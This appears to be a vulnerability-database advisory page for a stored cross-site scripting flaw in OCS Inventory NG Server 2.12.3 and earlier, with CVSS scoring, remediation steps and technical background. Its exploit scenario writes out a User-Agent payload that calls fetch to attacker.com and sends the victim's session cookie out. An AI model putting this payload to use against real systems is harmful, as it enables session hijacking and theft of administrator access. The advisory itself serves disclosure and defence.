Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS v4.0 score of 5.1 reflects a medium-severity vulnerability with important limiting factors. The attack vector is network-based (AV:N) with low complexity (AC:L), but requires prior authentication by the victim (PR:L) and user interaction (UI:P) - the targeted authenticated user must navigate to the statistics dashboard. The CVSS vector indicates no direct confidentiality, integrity, or availability impact on the target system (VC:N, VI:N, VA:N), though there is limited scope impact (SC:L, SI:L), suggesting the JavaScript executes within the session context of the viewing user. Real-world risk is moderate: while no public proof-of-concept code or active CISA KEV designation is noted in the input data, the vulnerability is reliably exploitable once an attacker registers a rogue agent with a malicious User-Agent header. The persistent nature (stored XSS) increases risk compared to reflected XSS, as all subsequent views of agent statistics by any authenticated user will trigger the payload. Organizations with multi-user OCS deployments, shared administrator access, or untrusted network segments where agents can register are at elevated risk. The requirement for the victim to have authenticated access and view a specific page mitigates enterprise risk somewhat, but in typical small-to-medium IT environments where OCS is deployed, this is a common workflow. |
| Exploit ScenarioDerived | An attacker registers a rogue OCS Inventory agent by sending an HTTP request to the /ocsinventory endpoint with a malicious User-Agent header such as 'Mozilla/5.0 <img src=x onerror=fetch("https://attacker.com/steal?cookie="+document.cookie)>'. The payload is stored in the OCS database without validation. Days later, when a system administrator logs into the OCS web console and navigates to the statistics or agents dashboard to review inventory data, the malicious User-Agent string is rendered in the HTML without proper encoding. The browser parses the HTML tag and executes the JavaScript onerror handler, silently exfiltrating the administrator's session cookie to an attacker-controlled server. The attacker can then hijack the authenticated session to modify inventory records, disable agents, or extract sensitive system information from the inventory database. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 06, 2026
Stored cross-site scripting in OCS Inventory NG Server 2.12.3 and prior allows unauthenticated attackers to inject malicious JavaScript via User-Agent HTTP headers to the /ocsinventory endpoint, which is then stored and executed in the browsers of authenticated users viewing the statistics dashboard. The vulnerability requires user interaction (dashboard access) but affects all instances accepting agent registrations without input validation, creating a persistent attack surface for multi-user deployments.
RemediationAI
Upgrade OCS Inventory NG Server to a patched version released after commit 78faf2ca8b897141ba4d337d75692ab8e405bd4e. The upstream fix is available in the repository pull request at https://github.com/OCSInventory-NG/OCSInventory-Server/pull/483 and commit https://github.com/OCSInventory-NG/OCSInventory-Server/commit/78faf2ca8b897141ba4d337d75692ab8e405bd4e. Check the OCS Inventory NG releases page for the next patched version number following 2.12.3 and apply it. In the interim, network-based mitigations include restricting access to the /ocsinventory endpoint to trusted agent networks via firewall rules, implementing Web Application Firewall (WAF) rules to reject User-Agent headers containing script-like patterns or HTML special characters, and disabling untrusted agent registration capabilities if operationally feasible. Audit existing agent records for suspicious User-Agent entries and remove rogue agents.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
OCS Inventory NG Server is a network asset management and inventory solution that processes HTTP requests from inventory agents. The vulnerability stems from improper input validation and output encoding of the User-Agent HTTP header field. When unauthenticated agents submit requests to the /ocsinventory endpoint with malicious User-Agent values, the application stores these values in a database without sanitization (CWE-79: Improper Neutralization of Input During Web Page Generation). Subsequently, when authenticated administrators or operators view the statistics dashboard that displays agent information, the unsanitized User-Agent strings are rendered in the HTML response with insufficient character encoding, allowing embedded JavaScript to execute in the victim's browser context. The attack leverages the fact that User-Agent headers are typically trusted input vectors and the application's failure to apply context-appropriate output encoding (such as HTML entity encoding) when rendering user-supplied data in web pages.
Know when Ocs Inventory Ng Server gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Primary rating from Vendor (VulnCheck) · only source for this CVE.
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
2DescriptionCVE.org
OCS Inventory NG Server version 2.12.3 and prior contain a stored cross-site scripting vulnerability that allows unauthenticated attackers to execute arbitrary JavaScript by submitting malicious User-Agent HTTP headers to the /ocsinventory endpoint. Attackers can register rogue agents or craft requests with malicious User-Agent values that are stored without sanitation and rendered with insufficient encoding in the web console, leading to arbitrary JavaScript execution in the browsers of authenticated users viewing the statistics dashboard.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-19484
GHSA-xwcw-3qx7-8hxm
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB